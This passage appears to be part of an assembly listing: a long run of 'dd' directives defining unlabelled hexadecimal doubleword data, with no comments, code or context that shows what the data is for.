0CBC45048h, 4A1B5880h, 0F7600C18h, 1FD642DAh dd 4F9FA700h, 0B8E9D629h, 8B049E16h, 0F44CA468h, 8180B3FCh dd 3BC30DCEh, 0C1565AA5h, 314860F9h, 0F7898DA0h, 47C9397h dd 33E95FB9h, 2556ADA6h, 79128B1Dh, 0D5E9597Eh, 16F23E8Dh dd 384CE9A1h, 964E30A9h, 45B5846Ah, 8A527E05h, 3833A01h dd 3E703D3Bh, 9EA89E11h, 0C494093Ch, 5CDA7F7Ch, 789D438Ah dd 3CC79539h, 0BF9A7FEh, 0C9F04BA6h, 5F65AA3Dh, 0A23A972Fh dd 5CD9FCE1h, 315DA099h, 8F1FC03Bh, 2550F209h, 2A0093F1h dd 0C3813883h, 9311A99h, 2F0AE91Eh, 58C01C54h, 8053B268h dd 0F1600BE9h, 262DD077h, 27C62760h, 0CB686A98h, 70CD515Bh dd 59B995F4h, 0DA9E1B75h, 0B589F7E8h, 6045C941h, 11176A13h dd 5CA8599Ch, 4B055310h, 8D107F4Ah, 0EAF8692h, 0EA601867h dd 28122C4Ch, 4804D03Ah, 92F83A2Ch, 0C1305BEEh, 74566866h dd 8399144h, 0E5258CABh, 77E30C86h, 9CB0211Ah, 0B1A569B4h dd 2FEBAEh, 5C192523h, 350A5443h, 0BD40500Ch, 98A88213h dd 9B2B57CFh, 84D7E062h, 1413B331h, 6E044B61h, 0ED29D353h dd 69CD30DFh, 16B54BFh, 0F78127B8h, 92A54C3Fh, 73A24420h dd 3D2C0332h, 48048A7Eh, 0CCAA757Dh, 0B909BAF8h, 803C613Fh dd 0CC1660DAh, 0D14A4866h, 4B76CA1Dh, 0F58031DFh, 44D20510h dd 24F3E924h, 1AD16884h, 5C567EF3h, 3A293B04h, 8BD4BA77h dd 0F4A80817h, 0CEEE83B4h, 0F901B71Dh, 30C06BD2h, 0E7D0F797h dd 1FFCCE60h, 0D346988Bh, 0EE81F447h, 29245909h, 62CF0033h dd 0CF55B94Ch, 0D84F5F18h, 7E50EB93h, 9D05008h, 76046118h dd 1206AFE4h, 82C14A02h, 0E54AAC89h, 0AB71607Ah, 9684D082h dd 4BD1C5E1h, 98D95BF3h, 79AF360h, 0E97516D1h, 0A6CAECCBh dd 342A094Ch, 59DC7947h, 5DB008A0h, 0ACE96ACFh, 9EA2F1Eh dd 68920825h, 6BCED100h, 87A1DB13h, 0C402A8Fh, 15012699h dd 5BDE2621h, 0EA402553h, 0C526AFE3h, 0C225EEE7h, 69FA71FEh dd 0BD78DCD0h, 0EAD22726h, 6B32E50Fh, 4E476458h, 10FEBD06h dd 0BD4DB498h, 21DDA05Ah, 0B6669D40h, 0AEB49E36h, 62E8ADD5h dd 0E5022D5Bh, 0E949A023h, 3E17FC68h, 9D767D75h, 72AF3AD3h dd 0ACE7F470h, 0C18FA29Fh, 562C96B3h, 9242A293h, 6C2FF5A6h dd 200CCF5Bh, 15563EC9h, 0EB7A2368h, 0A3094416h, 8FBF8093h dd 0B632FE1Dh, 0D5E3038h, 651E5519h, 7F00F181h, 0CF09153Bh dd 24D459h, 28225548h, 0F967EEC9h, 55DE8B89h, 7E09F646h dd 0D51D8E0Eh, 9B58248Bh, 1D3072E7h, 0CE7A5453h, 259CD4A3h dd 8B6F29F9h, 0B7D7F0C9h, 2C4045EEh, 92B9EBBh, 0B4004F5Ch dd 0CF7F23E4h, 0EC585B90h, 0B5D9927Fh, 6DF99CAFh, 62855D69h dd 20C52D55h, 6880B2CFh, 0B37962D9h, 94557EEDh, 0B6045E15h dd 207358E8h, 6A5A6BB5h, 0FEA4E4DBh, 31751208h, 7BF1099Dh dd 0BFAC8C0h, 0C5860ABh, 0A8F57467h, 0A42FE919h, 37F492Eh dd 0CB27F135h, 5BD69082h, 0E994C027h, 25279E8Eh, 55C44BF9h dd 18331EFh, 0AE19C87h, 0A15D5B27h, 0CF8F8968h, 7E51CFDCh dd 0FC695475h, 0F04B4ADFh, 0D417BC44h, 0DD2FB9D3h, 0A6C8EE94h dd 2C5A5831h, 8C748117h, 0EB41720Eh, 4018F03Ah, 39661F40h dd 4EE1E6D1h, 20534FD0h, 5266F315h, 0B06DA08h, 9367E9D1h dd 0F197BF64h, 674E1972h, 4B057801h, 4BACC050h, 5A8A8AA2h dd 65CEAD89h, 13F8E912h, 70A79944h, 0D64E5AA3h, 68120F97h dd 0E2E30B31h, 91070E13h, 12AE8BFh, 0E23BFA01h, 7A76CB3Bh dd 27FA77A5h, 9D1B95Ah, 54E953E1h, 88173978h, 0AA870BF8h dd 49FFE31Bh, 0CE1E4B63h, 4F596B2Ch, 0DFF95D4Fh, 0E52D652Eh dd 0DA1FCC59h, 52E9CD29h, 0BFD07325h, 112B7999h, 60E84502h dd 0E95F5993h, 9501955Eh, 0C38009B3h, 0FE21D7DAh, 0E8D3F66Eh dd 885EA9EBh, 0E59B64A0h, 4CC4CE3Ah, 50732012h, 39C6B42Dh dd 24FC890Ah, 8971C51Ch, 5B9947DBh, 4ABAE450h, 58077D1Eh dd 41C4C19Ch, 539797E9h, 6ECE686h, 9C1FA0CEh, 6A43424Fh dd 16BE5600h, 0B901766Dh, 54498A02h, 0EA9EE906h, 92195604h dd 255F2753h, 8510BDC0h, 74EBB6ADh, 0A4C8EF88h, 0BD594B54h dd 97BF9F42h, 0B623B2C4h, 0F1AC958h, 0E30B4E7Ah, 0D5861ED3h dd 552D96F6h, 4ABBC179h, 15EC34C5h, 8BE4DF84h, 2EA518EBh dd 2F685D0Ah, 8E183AFDh, 0FF8292A0h, 4BE16C29h, 5C9596F1h dd 92165AF9h, 4CE0B29Fh, 7C972C52h, 36B96860h, 1735FF8h dd 7C94832h, 7CF1FD8Ch, 0BBB5D270h, 711678D2h, 595B3203h dd 0B3C65A25h, 4B65161Dh, 0C00B4057h, 759B89E9h, 8193BB1h dd 57724055h, 0D51F0490h, 0A7E8F618h, 7FAF9A55h, 0E62D098Ah dd 79596387h, 2E486DCh, 0F30FE942h, 92890EF1h, 0BF6459F1h dd 0F20181FDh, 41FC3CC2h, 1AF0BB01h, 0CBF134BAh, 0A5AEECF0h dd 20E728CBh, 5D18B197h, 8612CF01h, 17539F32h, 96419D08h dd 0FE859C2Ch, 0C5F7AA52h, 30FBC525h, 0CA5BDACEh, 324D367Dh dd 0CD765BB8h, 6C7E52A2h, 0AE934012h, 0D84CC39h, 0BFF2685Ch dd 3DB5A5CCh, 0ED9D6688h, 86153208h, 0F6E9405Dh, 0D3066D2h dd 0E92A0932h, 0C1B5E904h, 0FB40561Ch, 51394B92h, 0DB65B566h dd 0CADE5038h, 0A4DB7160h, 0E956581Bh, 6EA0532Dh, 9FBAA03Fh dd 69DF3E22h, 0DD65C500h, 0EA299620h, 8C265D5Eh, 0B65200B2h dd 5AF188C3h, 281D972Ch, 0E82D04C8h, 25E95429h, 3946E4FAh dd 0CD867198h, 67EE099Ah dd 345160B6h, 3E16E301h, 6C6401CDh, 24636973h, 0B135FE87h dd 2105E276h, 37B1CC7Eh, 0C2FE4D71h, 0C97F739Fh, 870A84h dd 2F62C3BBh, 825ABC09h, 4DFB32D3h, 1AD5EB42h, 5B0C0144h dd 1B422D58h, 62D1D05Fh, 0BAE97308h, 28E03ECAh, 60821A64h dd 2F186620h, 0E7E261DAh, 3FD15361h, 81013DB3h, 897951EAh dd 0D1D96E4Ah, 243A4131h, 93D5012Dh, 6F54CC6Ah, 85F56447h dd 0F76F9FC0h, 0C0398D5h, 162342D8h, 151DB1FEh, 0CA867EB5h dd 0F87C2095h, 501C1CE2h, 0F203BE10h, 4F306D3Bh, 3A25A2F1h dd 41AA2198h, 0C055E695h, 482C68F8h, 3CDFB825h, 0E97BB482h dd 326AC1BCh, 3020A61h, 0FFBBE25Ch, 0E0E1BA27h, 592DA3BFh dd 61B680BDh, 748BA6D2h, 0E0F84DE9h, 0D146476h, 0B8EBC45Ch dd 64BBC469h, 0E99A9CBEh, 67789F25h, 0DA2E3F20h, 0A6BE8335h dd 0C0BC4C17h, 343225BFh, 0F0315D00h, 5C98355Eh, 595678DAh dd 218BDBC2h, 0F115A484h, 243647AAh, 0FFF1C1D8h, 0AD62EC35h dd 42E96412h, 0F746B4C0h, 0F68105D6h, 81773810h, 7AD52CB1h dd 0A6689021h, 0CEB1C52Ah, 54562758h, 6A3F003Ah, 8345E937h dd 0ACB60483h, 0E0414219h, 7C703D9Eh, 20FD594Ch, 5E09D73h dd 0EB0481D3h, 6D0CB822h, 1ADC0280h, 943EF318h, 40813F8h dd 76F485Bh, 0A875E188h, 0EC4EABB8h, 0BC69B1C8h, 4BC78B82h dd 24E1FDDDh, 3E8421FEh, 59CD1701h, 0F60ED83h, 905B9F2Ch dd 469141Bh, 2A7855BCh, 86EC807Ch, 0F7E48A37h, 0AA68D90Ah dd 176A8E5Dh, 3D7FDC02h, 985F761h, 0C400BE29h, 0BA49B5E1h dd 268A983Bh, 922D7Ah, 0E566A535h, 70B82964h, 5003494h dd 77261AB4h, 6572092Dh, 88773553h, 503E071Bh, 0A65FE911h dd 0FBBE9100h, 0B70A0607h, 0FDD5AD69h, 3BF97224h, 51397E0h dd 5B01199Ch, 95E398C3h, 0FBD2340h, 45EB5541h, 0BBCFFD44h dd 299BC044h, 47549DEAh, 28808FF4h, 89F7E969h, 2570C99Fh dd 0BF56132Ah, 59E9493Ch, 3375C1E8h, 430A6E5Ah, 78AA36D9h dd 0AFB49718h, 0F450B554h, 48D8305Fh, 5B83A918h, 26BB2BACh dd 34B58180h, 2FC1C380h, 0E7620CC1h, 0D72BA0h, 26A35C9Ch dd 694F781h, 2C0E24Eh, 9D697E7Dh, 7FF9A981h, 9363E680h dd 6D052804h, 0C2AE4160h, 0B2D7521Eh, 79004159h, 0EB59D03Bh dd 0D8FF4003h, 760E82EDh, 52E9680Eh, 9DE07ACh, 13D5C378h dd 3397F9DFh, 6F616224h, 64450A1Ch, 2969EA05h, 1718C3Eh dd 8084DD82h, 0C2C012F4h, 5F3D0429h, 0F638A409h, 0BCA9D00Bh dd 0B9656C7h, 855684E2h, 75B86D62h, 7092646h, 8003D605h dd 0F40DE2E1h, 2C6A031h, 4DC4B576h, 231E6C0Ch, 47BFE67h dd 0E9397727h, 4862FC89h, 17C90E06h, 0F7480211h, 838840D1h dd 6C2D0134h, 0A54EE0Dh, 10C76B12h, 0E6059880h, 0E8D12F17h dd 7009EE50h, 29CFED8Fh, 52450099h, 0B56AC51Fh, 8045F6Ah dd 0FD30AB59h, 2C31AE68h, 155206F1h, 0DF5E6DBAh, 0E95109E0h dd 0DC26A941h, 0C156C5A2h, 3F1BB41Fh, 1D12CF97h, 0BBD34015h dd 737A06C0h, 4D58E97Eh, 902D660Eh, 4B058F5Dh, 0E852066Bh dd 0F70FDE16h, 0DE9111Eh, 44B23ECDh, 7BD0448Bh, 0FE7696BDh dd 0B579921Eh, 0C6A5C353h, 94E0361Eh, 12A1C843h, 0C637A698h dd 0E30AED20h, 0ADC839D1h, 602F8200h, 0B6B0E903h, 54310908h dd 2B5A7619h, 0C2171BE2h, 80B2F8B3h, 0CF0ACE05h, 5A00B579h dd 3936EBBBh, 0CB811400h, 66500910h, 4497904Bh, 2C0BC6E5h dd 0E2C8B2ADh, 0D70DC0BAh, 75771D57h, 2B166731h, 0BA805D7Ch dd 28B3046Dh, 0EAD12984h, 6812488h, 0AD53A1CEh, 40010C3Fh dd 0E922FB6Bh, 8A6B14DBh, 28777CC8h, 10366082h, 0A8D5D7E4h dd 0D9D484F3h, 5F2B6803h, 819C588Bh, 29F1DC83h, 0FE29C5DDh dd 0D6D02FC1h, 4E289F34h, 970BE9E8h, 1AA4F2D7h, 42D6560Ah dd 0B600CBC0h, 0F52831h, 0DDF65A66h, 5113B753h, 0E916B509h dd 0B507D8EEh, 56B4DC73h, 0CFA58AEEh, 700D5230h, 0A22BA3CCh dd 0ABD29F90h, 0E73B08B1h, 0F180DE5Eh, 6B649C1Bh, 37839D29h dd 3C0F70FCh, 657BD735h, 1C44868h, 0A5BDB341h, 0C02B3219h dd 0E56A9C3h, 58D86097h, 7F5C091Eh, 0A555DFE9h, 0A613D992h dd 5C5BBF82h, 8410725Bh, 739D5453h, 0A6C316D6h, 7A814124h dd 47E8AA74h, 0BA56D58Eh, 11E9B461h, 50029938h, 0C0FE40B0h dd 3EEBA941h, 8A83B927h, 541025DDh, 575C5246h, 0EC12281Eh dd 0E0B4035Fh, 11353845h, 97112DBh, 0B585058Dh, 89548232h dd 0D1C82102h, 3ADB49FAh, 47D542Dh, 900FE952h, 88C3FE1Ah dd 1F8D84Fh, 0B8D76884h, 0BE56C3DCh, 0B0EC8E8h, 416E59E9h dd 41FC024h, 0FA38C480h, 4BBFE02Ch, 4835A322h, 0D1E9A034h dd 0B773B522h, 4A5A5A14h, 658A5B00h, 8A290EA1h, 5C4C7Fh dd 171E0CBBh, 477EBE55h, 0E9B98A05h, 5FEDDCB6h, 0C335B505h dd 75379327h, 6E687488h, 0AB301F5Eh, 581A2352h, 0E705D94Dh dd 0F83AA96Bh, 537778E3h, 0D895EB25h, 1BAE2D68h, 680B1FC8h dd 7A14E42Ah, 56BB66D3h, 8524AA19h, 58F7CFEFh, 28A0278Fh dd 0C1E4D982h, 5772E921h, 72D737EFh, 48569A71h, 2F9F441h dd 0E8FD7471h, 3101E13Eh, 2AA2ED0Ah, 2E7B24F7h, 52C7026Ah dd 69B45683h, 0D2C12F27h, 0A49ED35Ah, 0B69E2158h, 66699F8Bh dd 0FCDC20E2h, 1B4CFAC5h, 0CDB500AEh, 33895E68h, 3CE0B0C8h dd 894CB899h, 5E303C52h, 0EFA6E491h, 0E7215C01h, 677720C2h dd 7B549A0Ah, 0B9F01740h, 44ACCDB1h, 0C5D0302Fh, 2D68F258h dd 0D09970BFh, 2A852A20h, 4EC18ABAh, 0E72C804Ch, 75801E68h dd 215E0BA2h, 0B2CED652h, 0A059F016h, 0B878175Eh, 9C14E2A5h dd 5898FEh, 689734B5h, 0CA81DAF7h, 4C488B0Eh, 0F0F2C035h dd 0F86F1F02h, 1EB27CE2h, 25E96863h, 0F30557FAh, 5E8F6D19h dd 0CF2A881h, 0D107763Dh, 0B4380865h, 0EC2F9536h, 925CA087h dd 0C7A3B0E9h, 92FA2520h, 3C613A88h, 20A340DDh, 0DDA8E8E9h dd 0A63CC580h, 9E1C4930h, 0E9EEEBC1h, 95BC72D7h, 3D02BE04h dd 2C0EE79h, 604CF216h, 73051A4Bh, 64985815h, 0E858C34Bh dd 3707E3EAh, 0F21061C2h, 467D21CFh, 4E67F2F1h, 0DE2CD1AFh dd 0A72103CAh, 0D1F9D2D2h, 8D708B5Bh, 0B9865FE6h, 0D708E1B5h dd 7F33D87Fh, 0E3319C40h, 0F4416A8Ah, 0C85C6498h, 8EB72553h dd 832212BBh, 0BF7B58DBh, 37565010h, 7C09A525h, 0F6130DD6h dd 7A547C8Bh, 4437A40Bh, 100C0F05h, 4F426809h, 5F544398h dd 0BA5FC9FEh, 854A5EA6h, 1A01AE6Fh, 172B218h, 1252C47Fh dd 93FEA208h, 0B996B2FDh, 0E10FCFFEh, 5C2E68C8h, 4847C824h dd 88D8EB91h, 58818362h, 0BBA8413Bh, 1C56C952h, 0D88227E9h dd 362F0AE8h, 8107D506h, 970D2BEAh, 126043C0h, 1251B880h dd 0B8344A50h, 0A3C09C01h, 350F431Ah, 0D659001Bh, 0EEB92D6Ch dd 0F89734ACh, 78B8006Ch, 0E9353DDDh, 0BE929EE5h, 6C2DD677h dd 2915C5B9h, 0A65008F6h, 2607C220h, 53D76025h, 0B068FBF0h dd 0A8DE9971h, 0D5072D01h, 0C59DFE4Eh, 4B032EEEh, 8A039C2Bh dd 3B16A391h, 0E094077h, 5D5B2B67h, 85684AB0h, 0E03B2A55h dd 8F5A76C6h, 698F49F8h, 0CF291390h, 566F7349h, 90684165h dd 0B3D2073Ch, 3EF5D9F9h, 7E84A5DBh, 7FA3508h, 0B02055Bh dd 0B479C176h, 66D5D16Eh, 7AAE4253h, 30AF4D53h, 838F2868h dd 0C05D2E11h, 0CFFC736h, 7635CF05h, 1CC07812h, 33223BFh dd 0C1D6F767h, 0E69B04EEh dd 0CA0E075Eh, 78F8874Dh, 848CF661h, 0A02F7CCDh, 8E5A6BD5h dd 0E2C4B7ACh, 7C8E2EFh, 9FE29DFh, 0AEE3C7C2h, 0D44936B7h dd 4C692BBCh, 0A8B532F0h, 0D282B3E8h, 910A6D11h, 0EAB5A828h dd 1497ABF2h, 0FEE918F3h, 6BF2E374h, 4A674439h, 650356A8h dd 4214607Dh, 187B1C38h, 850C2FA0h, 0AFD300B3h, 535AD501h dd 7928E950h, 801CA617h, 0F905AAC7h, 0F71C285Bh, 0AE9FA02h dd 0B7B1A3ABh, 0ED2628DDh, 0CE10F5CDh, 7267876h, 151DE162h dd 89A03F58h, 0D2989570h, 5782D567h, 0F0D17499h, 9991B076h dd 1E27F83Ch, 0BC1C7923h, 6DB1C898h, 72094EC5h, 965939C9h dd 96E91034h, 0FC5A2D25h, 0CBFE420Ah, 7987F854h, 0A3E3D928h dd 0C153069Ch, 0D4A60CE4h, 90B68F27h, 1F665366h, 5275EC68h dd 6E84A11Dh, 25589C9Eh, 29EA134Ah, 6FA02EE5h, 9F181825h dd 5484652h, 63EABC2Dh, 5C29B93h, 5B1D6D22h, 6807F03Dh dd 0E621022Dh, 0E911E15Fh, 26172A22h, 1DA1B2ECh, 236800E8h dd 8F2FC476h, 459AEBE4h, 6C971C20h, 0EC713077h, 0EEC38133h dd 0EE44634Bh, 39E80244h, 0BB6B7C84h, 348BDA31h, 582887Bh dd 61F3B95Ah, 57C7BB18h, 2C5FA5BDh, 7C884021h, 16E240ACh dd 5BD5E397h, 8586DE7h, 8351B605h, 0F005AE67h, 24F45808h dd 68530557h, 0BAFE074Eh, 2EEF9853h, 911460CCh, 97F6817h dd 0A5D0E952h, 0BF94D690h, 5836C025h, 0A93FFC22h, 9B6E5EBFh dd 0CDBD4A56h, 0F099E917h, 0D62D290Ch, 0BD5D25Ah, 467C22AAh dd 78217D0h, 0EA596BFEh, 14CEF26Eh, 7D269725h, 7CF3EE00h dd 215A6658h, 9D16B2F0h, 0D972C39Ch, 38D83AD2h, 515B8058h dd 0D101FFBEh, 4909AE78h, 80962460h, 5D58E831h, 892E6F2Eh dd 46BAC174h, 97ABEBD8h, 9698DEF1h, 0CF78135h, 60E86EB9h dd 0F162A0Ch, 3EC54E5Ah, 0BF8290BBh, 765CED3Eh, 8F662DA8h dd 67B14114h, 0C93C4873h, 7E847948h, 0A527EE79h, 56FC9582h dd 2B305139h, 78BA2385h, 784B684Ch, 7866F7F4h, 12EE2552h dd 0A68247F1h, 0DF8BE688h, 459BC2ECh, 38945D49h, 9048E913h dd 31A27941h, 3F704217h, 294AB55Ah, 74120B0Bh, 0E9843AF6h dd 44AEA840h, 9E2D660h, 5B04EE5Bh, 0B13FB802h, 416FEEBBh dd 0E81EAB96h, 0AD74303Fh, 0CA08CF72h, 5A7EDE9h, 8902EA83h dd 3C896E4Ah, 0F32ED4F1h, 0AC26D3AEh, 161709F0h, 6EFE7970h dd 0B2F2290Ah, 5E5B0B20h, 0D6D868ACh, 87809E7Ch, 0CEC0B0F2h dd 0A29C3108h, 0BD689609h, 0BB4B9963h, 216D456Eh, 6961EAD8h dd 38738859h, 0B7EF2578h, 5163B812h, 0A1A6E75Eh, 1F5E2A7Ch dd 2316A0DFh, 31457B22h, 5A2CBD1Ah, 0DFDC2C5Bh, 9668354Bh dd 0EEB0542h, 0F8A70641h, 6AE91DB4h, 59206927h, 15E84531h dd 0F2479D22h, 0DACBC32Ch, 0D20A20BDh, 155346A1h, 851CA692h dd 8DA8EF47h, 82C9E65Bh, 0D4C654E9h, 0A5BA929Fh, 2A5AF006h dd 2B274E24h, 17CC3408h, 0FAA6E064h, 0BB96140h, 4B7656F6h dd 9E7A104h, 0D3AA82BBh, 0D2C0DF03h, 80BF275Fh, 0C8FB9DAFh dd 0AC51506Ah, 4960821Bh, 59251221h, 0F485C6Eh, 0CDB3C0Dh dd 2A9C1CC9h, 2E185FE0h, 898737Ah, 23ECD71h, 4C5BE305h dd 6AAFE174h, 0C53016A7h, 2C2E1F0Ch, 0AE100BD6h, 0D6D0281Fh dd 120F759h, 788ABA52h, 402E07D5h, 0B3656D2Fh, 545E010Dh dd 0C06A1CDh, 4AE9266Dh, 555A8B06h, 58BC9616h, 7AE85344h dd 0C516280Eh, 415AB877h, 62116107h, 78105058h, 0EEDFF780h dd 141BADDh, 6E72E0BAh, 60D70919h, 0BF17C705h, 4885C1CFh dd 1E5C4FBBh, 0D85A7D7Eh, 0F9A80115h, 2980F380h, 5BA6EEE8h dd 429E9D62h, 5225AC0Bh, 801CE6C0h, 0AC9C5EE7h, 0DFF61716h dd 88DDEE01h, 0EEF85BFEh, 0F0281220h, 0F805AE5Ah, 90D037E9h dd 0AC22F368h, 103D0088h, 0E381437Fh, 4E1F35C7h, 96DE916h dd 0C9C5D97Dh, 0C6A58CF6h, 0F0E91256h, 0D5E36179h, 0ACF33AAEh dd 0E6EB5C8Fh, 0E0D33F40h, 0DA609598h, 0D89C52Dh, 843EE53Ah dd 7B54C1CFh, 765102E3h, 0CFD0695Bh, 7E859580h, 5A27C92Fh dd 4208828Bh, 78170975h, 0EDE827A1h, 0C1E78FF6h, 18826ECDh dd 0B9687AB2h, 30A5CC7Fh, 0E19F8A78h, 302425FCh, 0E0015203h dd 0E9384D5Dh, 99F252A2h, 0D9D8A7D6h, 4E589694h, 0F76680CDh dd 459C62CFh, 0D1416017h, 3EF95096h, 9CA176E8h, 321F8289h dd 85007ADFh, 7653A470h, 950658C1h, 0C4453607h, 63CAF035h dd 3E7CE316h, 44FEE206h, 0A364CD2h, 0A6FDAAF1h, 73F60099h dd 2FE932F4h, 5DEC1564h, 0C9E5CFC9h, 5A14202Bh, 7249C768h dd 0A37F1045h, 0F2BCAC3Eh, 8D90BE12h, 0FC946F4Fh, 1B9AD401h dd 1C3B6208h, 548C6BDh, 30B415A0h, 0DF020D28h, 134CD5Fh dd 8FF88D5h, 56535A09h, 674258C2h, 0FF443181h, 606DE0Ch dd 30E1F003h, 11E04105h, 9FB02529h, 5577F6F4h, 264D69h dd 0F14BFEEh, 502C2435h, 79830711h, 55432072h, 6C9557E9h dd 202453Bh, 11751FDBh, 0CB4456FCh, 59DD8ABEh, 62B8CB69h dd 74477D2Dh, 0DB94E986h, 40659722h, 6027CC24h, 0B9E35AAh dd 315853C4h, 0EB0B0776h, 3F526C5Dh, 752DE9C3h, 33B9A2A0h dd 26C330B5h, 0C5E33CBCh, 8A712FAh, 0BA01F3DBh, 0EF56BD3h dd 0A6953230h, 0F02925FBh, 2D0B6714h, 0D4064879h, 84A520FDh dd 8107A108h, 78F00405h, 0F2521F94h, 0B64E8C8Eh, 7EE90B87h dd 3B9D90DAh, 48419CDBh, 0FB522DB5h, 0AFB40AFCh, 82A8FB21h dd 98FACAE6h, 50416C2Fh, 12BAFA4Ah, 0A172F11Ch, 898B030Bh dd 44602AB9h, 0A0C0A8A1h, 24E9C231h, 96E05E52h, 53231ED1h dd 8917C1B2h, 742D2BCBh, 0AB121860h, 877C1DD6h, 8D31AD9h dd 0D96F49DCh, 8B382FEBh, 0FBEA295Ah, 0BD64CDB2h, 0A5628E7Ch dd 52E7735Eh, 4F08EEA0h, 1A1DE606h, 0D67F7031h, 141A0502h dd 0CF5EC1D6h, 0D15C6059h, 8F04E769h, 60FA1291h, 41058C9h dd 805DD388h, 3B59EB80h, 798D2ECBh, 59BA6805h, 0BDC466F8h dd 0DDEF415Dh, 0BF204C77h, 553A02E7h, 9DE92D46h, 5E4E03D0h dd 67BBA753h, 3E432D9Fh, 5E63D4B4h, 272F8AF5h, 422B5CC5h dd 33C6B0BCh, 35BB659Fh, 88ABE0Ch, 0D7685C05h, 5E5F2227h dd 90C46629h, 63C49D49h, 904FF574h, 6E2D0C00h, 27DC47A2h dd 0DAD6C121h, 44E91CCBh, 74410D33h, 9B1A5A83h, 3AD90C69h dd 92402FE6h, 0FA6349E7h, 0C70EC07Ch, 97BFBEBAh, 3612574Eh dd 595B41FAh, 74B599E9h, 541693ECh, 0DC016BC9h, 72EC336Fh dd 122EC3D8h, 0BBBC1B02h, 4D619044h, 440003B3h, 0E929B676h dd 86B19E65h, 0FEDBC546h, 0C369B726h, 577DF005h, 0F8E1095Eh dd 575B0707h, 0D1849229h, 0FD8904A8h, 6E9BB7B2h, 2F6FB589h dd 5EBA47C8h, 4EB9CC40h, 522D1B72h, 7FD44095h, 890082D5h dd 38A0338Fh, 12865048h, 71EB915Ah, 0E0B353FAh, 0E91AC6B1h dd 55CF0A75h, 257DDF80h, 50B75732h, 0FF768B4Fh, 133E6891h dd 882A904Dh, 0CB40F61Bh, 49EDECADh, 0F04C6398h, 265C4210h dd 6C09BA61h, 42A7148Ch, 5C2C1218h, 0FB4074EFh, 70B80928h dd 0A77BE15Fh, 0DC0127DCh, 4C525948h, 51955A11h, 9DD4EBADh dd 105BA5B8h, 8087DD32h, 671736B9h, 8E4B69C3h, 69757E47h dd 0F76B942Fh, 87A7A676h, 5B570114h, 0B58267Ch, 757AE968h dd 1C2C071h, 3644DFCAh, 0A7A3E913h, 0E690E8ACh, 0BDEDBA77h dd 62ACA767h, 2B2EA40Eh, 4073D63Ah, 56FBA034h, 87648495h dd 64836B8h, 0E91FF8F7h dd 68ACA6EEh, 9971B20Bh, 6AE4502Ah, 19B5247Ah, 6F7E2DE9h dd 5CA7A348h, 0BF09C9D9h, 0DBF72FE0h, 0C3BFF398h, 0E6260022h dd 893412BDh, 594AE9DAh, 11C7E643h, 649FE75Fh, 2C05C6ECh dd 4EE5FCD0h, 1F9E39FDh, 2CF00E69h, 0E9E6829Fh, 47A60C19h dd 2EA006D3h, 5D825AFEh, 0EF16CBC3h, 0D2E1F068h, 0C48EA23Ah dd 0DCBCCCE9h, 512A8B42h, 699B96DEh, 0F577A955h, 2BFA69Ch dd 6C14B16Bh, 16CAB92Bh, 8C7008F3h, 0CFB85D12h, 2C083E0h dd 0FA17E92Dh, 55FC2DE1h, 59E4B851h, 0D906D1F6h, 0B9EF38E9h dd 934F9209h, 1B8B55h, 20583F49h, 93F8B49Eh, 9391A2B2h dd 0EA8406FDh, 0CFCCFF5Dh, 0B3794ED9h, 0BEF1162Ah, 0ACE545A8h dd 85E9A068h, 9AD5CF7Fh, 5B728342h, 7508D260h, 436F6512h dd 0C6539D02h, 0D805C067h, 34C08260h, 0C7AEEEB0h, 0CBCF5197h dd 348BEF56h, 60249AF1h, 1361FA64h, 0E810BBDh, 79A27E60h dd 0BC492EE9h, 0A5477C33h, 0E98A88BFh, 7CCE4C25h, 1003617Fh dd 79DF3038h, 528D935Eh, 48736B66h, 0BD3553E1h, 0EB00E23h dd 1555FF9Fh, 725E8F11h, 3E3BA00h, 0BB294901h, 23F733E1h dd 85587731h, 0EA40BBFh, 0CB42EB5Ch, 0CB961075h, 62F0264Ch dd 4A960085h, 86E927EEh, 9F41B15Ah, 540A635Bh, 17330E00h dd 9C0C6261h, 0E9F844A5h, 7CCB248h, 53515A5Bh, 0E8D35959h dd 0B6B4E985h, 1213D7ADh, 0BF9C416Ch, 6E89597Ah, 0ACE8B312h dd 25B4ED4Ah, 7447F455h, 0A30467D2h, 68E811EEh, 84A97BCBh dd 7C3A25Fh, 0A4680218h, 95F226DDh, 0F9429D57h, 2F24140h dd 0BD2901Fh, 17B058D7h, 65B63852h, 285AF001h, 0E95166D8h dd 0D588E8B2h, 0EC566EB0h, 0FE6839EDh, 513F63CBh, 23F4A711h dd 0F2F817BEh, 9D001DCDh, 2370B9h, 0E18129AFh, 39FA415Ah dd 12B20EDh, 2FEAAA7Ch, 72FCFF5Bh, 0FDC58BE3h, 2E89D39Bh dd 2F3D2D3Eh, 8E6B66D9h, 0AE7E13F6h, 0AF40A0F6h, 8DBB753h dd 2ED54C4Bh, 0B25A45E9h, 0F1FC5DBEh, 0F6CF6C6Eh, 89119530h dd 53F8F850h, 8FF4E94Fh, 15A712BEh, 1776E8F1h, 18EA3410h dd 21DA0E5Ah, 4608CC12h, 1BBC3408h, 93A4CD66h, 0B6690245h dd 0E14C8412h, 0E54A12ABh, 52F43B29h, 16E5BEF6h, 0BC21EF05h dd 2DA5796Eh, 0E09C928Ch, 7BCA6812h, 0C8533533h, 1D9B1A42h dd 80BA5B31h, 81DEEFF4h, 812B6EAh, 0DCE53278h, 0A2E90800h dd 908B9277h, 50E30ACDh, 1F9D3B55h, 22F94972h, 6AF24680h dd 4E3028B6h, 0D8E652F7h, 0B8617112h, 4DD201CBh, 0F309CD74h dd 0BF846A5Eh, 1FBA5C4h, 122BAC64h, 0E9D5300Ah, 7CE8693Bh dd 36ECF504h, 0C1EF8988h, 7AE3B5D3h, 0F057A134h, 7D5FDC81h dd 62BE6600h, 78B73B74h, 7822908h, 0E9A6ACFCh, 6E8B3DD4h dd 62A55E0Eh, 0EE20A70Ch, 0E3113DD3h, 10F3660h, 47239B27h dd 0A445EF87h, 0B6035006h, 0B0589806h, 51D14F7h, 0FE097642h dd 0F6FD075Fh, 1F4381ABh, 0C6B02F89h, 3412F148h, 0D6622300h dd 0F81FC13h, 6C32EDCEh, 2E6C1A3h, 239AB205h, 89D42B0Dh dd 680480BDh, 0B810965Eh, 46751E25h, 9FE99B84h, 0A6F1D795h dd 332C4082h, 0E4C101AEh, 0A1C47CC9h, 0D3345F92h, 61270C24h dd 0E2674A5Ah, 6CE207F8h, 669864C0h, 32E91FB3h, 4449ECD3h dd 0FA21E6D5h, 0CB9F4CCEh, 0B270F381h, 3CEBED1Ch, 0EB24F37h dd 0B057929Fh, 0C5BD5F79h, 0B9A2AD46h, 0BC51FD48h, 